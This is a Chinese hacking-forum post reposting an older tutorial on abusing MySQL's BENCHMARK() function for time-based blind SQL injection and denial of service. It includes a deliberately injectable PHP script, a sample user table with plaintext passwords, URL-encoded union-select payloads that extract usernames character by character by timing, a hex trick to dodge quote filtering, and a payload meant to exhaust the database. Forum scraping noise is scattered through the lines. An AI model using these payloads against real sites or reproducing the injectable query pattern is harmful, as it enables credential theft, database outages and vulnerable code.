找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2077|回复: 0
打印 上一主题 下一主题

MYSQL中BENCHMARK函数的利用

[复制链接]
跳转到指定楼层
楼主
发表于 2012-9-15 14:03:03 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
MYSQL中BENCHMARK函数的利用
% V7 ^9 W6 G/ H- G/ p& [1 p本文作者:SuperHei
* t: t6 N- Y, ^$ f6 G/ E8 e6 c- ^文章性质:原创
' s: A+ R" ~/ [4 H. X发布日期:2005-01-027 y" P# P  e9 L" x
完成日期:2004-07-09
- X8 m" V$ N! n2 n/ \! T; Z8 l第一部
0 p7 ~" ^3 F# L7 W) R& D3 ?( q& S# k% ^- K9 G5 T
利用时间推延进行注射---BENCHMARK函数在注射中的利用
" L1 x2 N; p7 S% V3 t- l
- d9 o6 `/ Y/ M. ?, F一.前言/思路
' \, |: z& Y' ^% k) O0 Y: i# `3 D, D0 j5 f  v
  如果你看了angel的《SQL Injection with MySQL》一文,你有会发现一般的mysql+php的注射都是通过返回错误信息,和union联合查询替换原来查询语句中的字段而直接输出敏感信息,但是有的时候,主机设置为不显示错误信息:display_errors = Off 而且有的代码中sql查询后只是简单的对查询结果进行判断,而不要求输出查询结果,我们用上面的办法注射将一无所获。我们可以采用时间推延来进行判断注射了。
# L5 Q# q9 n; Z  w
" m8 ]& U1 ?* e7 }  本技术的主要思路:通过在构造的语句用加入执行时间推延的函数,如果我们提交的判断是正确的,那么mysql查询时间就出现推延,如果提交的判断是正确,将不会执行时间推延的函数,查询语句将不会出现推延。这样我们就可以进行判断注射。
. O' N) }8 ?% k+ Z
! \3 j3 y/ `' J6 f二.关于BENCHMARK函数, o& A: @  v4 O  B; c

- w) j$ w0 a* k  在MySQL参考手册里可以看到如下描叙: 7 i. H* \  b0 k6 f. l2 G& H3 u/ b/ L
6 t, |5 m7 ^" M1 T* w1 D

6 ?: p) S: O' P( ^--------------------------------------------------------------------------------: e. t) ]' y4 \1 h

' x7 k( X/ y- `: X$ A9 JBENCHMARK(count,expr)
1 w5 E! A0 X: u6 r: _+ g5 aBENCHMARK()函数重复countTimes次执行表达式expr,它可以用于计时MySQL处理表达式有多快。结果值总是0。意欲用于mysql客户,它报告查询的执行时间。 3 b6 [4 b. i% \8 K
mysql> select BENCHMARK(1000000,encode("hello","goodbye"));
% y. y, ?3 C% r1 B/ b' m+ ^, q8 Y8 f+----------------------------------------------+ 2 o! g# h8 M  e
| BENCHMARK(1000000,encode("hello","goodbye")) | 9 B" q+ k/ B7 o
+----------------------------------------------+
* l, y. M( y. x% l| 0 | 2 ]' O" A' \6 q$ |9 i# h% L6 N5 ]
+----------------------------------------------+ ! i7 U  R0 ?5 V  Q! g9 Y+ B' G. Z1 I) |2 Y
1 row in set (4.74 sec)
1 B1 L+ V3 y- T" w; j; _4 \9 E+ S6 l- t) v7 G. W( E/ V, ~
报告的时间是客户端的经过时间,不是在服务器端的CPU时间。执行BENCHMARK()若干次可能是明智的,并且注意服务器机器的负载有多重来解释结果。$ X2 {) \$ T" `3 R7 ]: U! C$ t0 U
/ U6 ~6 N( t3 _) G1 q( `

: ]& {6 y' m" `% w2 C--------------------------------------------------------------------------------
2 R# [9 A* D& T: T3 s/ U/ o( A5 l1 R* p% M  ~9 ]6 X& |
  只要我们把参数count 设置大点,那么那执行的时间就会变长。下面我们看看在mysql里执行的效果: ; p  C9 \, E( S* G9 X( @/ q1 H+ ~4 U
+ A0 A8 \; T9 z. [" U: K! x# o
mysql> select md5( 'test' ); 7 C+ L; N: G1 o1 m7 g  N8 }
+----------------------------------+   I/ ]; T) i, Y% f
| md5( 'test' ) |
/ E) l6 r3 b" s  t: t' U+ {+----------------------------------+
. Q, f& B5 Q# S- A$ ]1 F| 098f6bcd4621d373cade4e832627b4f6 |
; P, A2 e" g% k9 k! x! k' U! `+ A+----------------------------------+
$ K; M# y( A# O& F, V2 ^- ~1 row in set (0.00 sec) 〈-----------执行时间为0.00 sec   R+ X* g7 M& B5 L. E& C0 l' M* ?3 H
# X* P' g; V( G
mysql> select benchmark( 500000, md5( 'test' ) );   f% D* Y& r  [
+------------------------------------+
' w! W3 T8 x0 a" R- q1 r; L& }/ j| benchmark( 500000, md5( 'test' ) ) |
& p" ~: F$ `% l+------------------------------------+ , s1 o$ l+ W7 L/ M
| 0 |
. Q& h3 t# S- k+------------------------------------+
8 S; \/ a5 g/ ?" y/ `  v/ B. S" j1 row in set (6.55 sec) 〈------------执行时间为6.55 sec5 V! h3 b8 x  {- D! g3 M
$ X" K7 R. N, |/ W8 i, \
/ e) `& E( @' b, T" O
  由此可以看出使用benchmark执行500000次的时间明显比正常执行时间延长了。
- D8 u& ^* i4 |0 k
' ~$ a  ]  Q+ z: Z8 O: q# \5 r" O三.具体例子
* `/ q$ L: m9 m0 B! g, ]2 G7 C+ _) E/ o) i. _
  首先我们看个简单的php代码:
/ k- q( s* T/ S$ z3 i- G6 P0 F$ `2 N# y, w% U
< ?php # ^$ \$ r' Y6 F* g
$servername = "localhost";
! n7 Z0 u& g* r" ]& q; s$dbusername = "root"; 5 I6 b, `. x% N5 g
$dbpassword = ""; " N  C, u# N8 s& J8 B
$dbname = "injection";
5 i- u' ?4 j: ?2 k0 j* S* T& }3 J- ?! g6 Y2 E) g6 ?( \
mysql_connect($servername,$dbusername,$dbpassword) or die ("数据库连接失败");
# K0 |8 J1 c: a; L7 b7 u+ W) u* c% N  t; P7 _! k
$sql = "SELECT * FROM article WHERE articleid=$id"; # t1 R. p5 o7 Y
$result = mysql_db_query($dbname,$sql); ! u6 y! [. R, P+ o0 ^
$row = mysql_fetch_array($result);
/ W" ^1 D% @2 C, I/ l% o8 S( b( x3 g- v# C- ~7 m
if (!$row)
" @1 y  m! ~( ]{ ) Q& |3 J# a; f" Y# M8 ^+ Z
exit; ; Q/ h# N. Z3 z( T
}
" F8 o8 L( G# y. Y' U?># B  `: H9 H+ W# `
$ ?, e% [3 ^: [- X9 N
6 f% f% X8 B2 S* a8 W$ j
  数据库injection结构和内容如下:
0 z/ q0 h6 [/ H+ E
& E) s* S  \% T! S$ V/ J) ^% h' m# 数据库 : `injection`
2 G! Q* Z0 ?% h% G# 2 h$ U# u8 j7 i0 z3 R+ ^- g/ h# e2 y
# n4 ~( u( \. O& V
# -------------------------------------------------------- % I4 K" g; F9 b0 u; h8 s

* o7 c3 D# V. w' a# ' ]" k9 S2 E# R1 Z% N& F, `
# 表的结构 `article`
. X+ S+ ?2 v5 {& q" _# 7 c) n( q( v# y7 K
9 V9 o  i- o8 Q! D; j& t
CREATE TABLE `article` (
1 h. I7 ?0 {7 ^`articleid` int(11) NOT NULL auto_increment, " W* k% y1 Q& H% b+ D; n
`title` varchar(100) NOT NULL default '', " ^6 z! z+ ?8 R; H6 x0 G8 j
`content` text NOT NULL, 5 J- d$ W3 P! L4 u  P/ Y1 T9 k3 Z
PRIMARY KEY (`articleid`) ( y4 n) J- K# x) V
) TYPE=MyISAM AUTO_INCREMENT=3 ; % T  R6 k& A4 X! X

8 ^1 S8 o! o7 }1 O9 |8 o/ ]% i# 2 I  r, }8 W; y3 i1 L, d9 J, K
# 导出表中的数据 `article`
' ~0 i0 R. m+ I4 K/ c! o6 S& l#
0 j5 T. G" E* e' Z. I. ~: H6 T9 N. m" Z) x& T2 _. K
INSERT INTO `article` VALUES (1, '我是一个不爱读书的孩子', '中国的教育制度真是他妈的落后!如果我当教育部长。我要把所有老师都解雇!操~'); , A4 c& ~1 e: F9 z
INSERT INTO `article` VALUES (2, '我恨死你', '我恨死你了,你是什么东西啊'); ! P- `' T( G3 b! r/ W

# k4 X6 m4 w$ Y$ O# -------------------------------------------------------- ; m- R  _6 f/ ]: s6 f

7 |& B; }( O, B2 |! y' m#
; k" c* [# ~: [" l# 表的结构 `user` 5 A- _) Y9 m! n2 \
#
& P$ V/ i( l# s2 w$ A+ e. ~7 T
% Q$ X5 I0 P: |1 RCREATE TABLE `user` (
$ s( f1 }* I$ ?/ q& t`userid` int(11) NOT NULL auto_increment,
' Z6 F' @+ C: F0 K1 q  h- y9 [`username` varchar(20) NOT NULL default '', ' r9 u! r  g- x+ y( z" @" V
`password` varchar(20) NOT NULL default '', : V  M' q5 u) B7 a4 ~+ a. ^
PRIMARY KEY (`userid`) / u. j0 L" q! J, G& S4 ]" P! t
) TYPE=MyISAM AUTO_INCREMENT=3 ; 8 ~3 x9 h2 `$ v9 m1 y

2 I, d7 @* o. {( a#
# Q! X6 Q& s& f; P: A1 i8 t# 导出表中的数据 `user` : Z  T! v" y% y8 ^& c/ L7 S
#
  u* T; j' c( w( B( R2 a3 ^9 \3 F% ^/ T% w4 q
INSERT INTO `user` VALUES (1, 'angel', 'mypass'); 4 Q# u1 W; h. l
INSERT INTO `user` VALUES (2, '4ngel', 'mypass2');7 Z+ W7 I3 y9 ]+ L0 U1 I
# b7 F( l% H% c# Y
. A% B8 u- y8 c
  代码只是对查询结果进行简单的判断是否存在,假设我们已经设置display_errors=Off。我们这里就没办法利用union select的替换直接输出敏感信息(ps:这里不是说我们不利用union,因为在mysql中不支持子查询)或通过错误消息返回不同来判断注射了。我们利用union联合查询插入BENCHMARK函数语句来进行判断注射:
) D+ [, M& h2 [9 T# d) a4 t
" e% S2 B: N2 v0 w4 }id=1 union select 1,benchmark(500000,md5('test')),1 from user where userid=1 and ord(substring(username,1,1))=97 /*0 [$ ~- ?* ^. n( H2 Y  o% W

8 ]0 m. {  g& I* C8 x/ o" Q9 N  U& m. B3 o4 Z; K6 G  m$ C
  上面语句可以猜userid为1的用户名的第一位字母的ascii码值是是否为97,如果是97,上面的查询将由于benchmark作用而延时。如果不为97,将不回出现延时,这样我们最终可以猜出管理员的用户名和密码了。 大家注意,这里有一个小技巧:在benchmark(500000,md5('test'))中我们使用了'号, 这样是很危险的,因为管理员随便设置下 就可以过滤使注射失败,我们这里test可以是用其他进制表示,如16进制。最终构造如下:
; `5 ]' V1 J6 E" C8 B0 [- a# H$ x2 D; X/ k- ?2 p! n+ ^/ i
http://127.0.0.1/test/test/show.php?id=1%20union%20select%201,benchmark(500000,md5(0x41)),1%20from%20user%20where%20userid=1%20and%20ord(substring(username,1,1))=97%20/*
$ t5 O3 L: D0 q* i2 T: E  J* q
7 q* M: V5 N8 x. }; i# `( }: q' x8 }% Q. }- d
  执行速度很慢,得到userid为1的用户名的第一位字母的ascii码值是是为97。
6 e2 h# \: j6 o1 c% ?
" [; L9 @- a$ w4 K2 T" t  注意:我们在使用union select事必须知道原来语句查询表里的字段数,以往我们是根据错误消息来判断,我们在union select 1,1,1我们不停的增加1 如果字段数正确将正常返回不会出现错误,而现在不可以使用这个方法了,那我们可以利用benchmark(),我们这样构造 union select benchmark(500000,md5(0x41)) 1,1 我们在增加1的,当字段数正确时就回执行benchmark()出现延时,这样我们就可以判断字段数了。
4 r7 l( }+ n3 O# \: C9 O% [
! X$ [% T& M, F6 Z* p/ @2 \4 S第二部
8 B0 T" s6 M' q3 w# I! j+ X4 x3 w5 X$ E; `
利用BENCHMARK函数进行ddos攻击
8 I2 I1 V% p  U4 ]/ k7 e' H  X1 w- D7 \7 A4 |+ I% U
  其实思路很简单:在BENCHMARK(count,expr) 中 我们只要设置count 就是执行次数足够大的话,就可以造成dos攻击了,如果我们用代理或其他同时提交,就是ddos攻击,估计数据库很快就会挂了。不过前提还是要求可以注射。语句:) ?, {4 ~2 ~# B; u9 `' v& f

% b) T- ^0 k2 w, g" D! j1 Qhttp://127.0.0.1/test/test/show.php?id=1%20union%20select%201,1,benchmark(99999999,md5(0x41))6 `4 r* m2 a5 f9 D+ K' g: w* K
! C' B( ?; Y# }- _
. D8 O/ p7 O, {! u* M, \. v0 g6 n& _
小结0 M! L2 [, g# K8 y5 U

) ?' Y+ w+ \3 O9 t: ]. ^6 C  本文主要思路来自http://www.ngssoftware.com/papers/HackproofingMySQL.pdf,其实关于利用时间差进行注射在mssql注射里早有应用,只是所利用的函数不同而已(见http://www.ngssoftware.com/papers/more_advanced_sql_injection.pdf)。关于mysql+php一般注射的可以参考angel的文章《SQL Injection with MySQL》。: k+ Q5 Q& M4 Y" s4 z! X
9 ~& V, s/ }2 G1 _6 g3 J
  / X! t' B( H4 H( t3 V) u
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表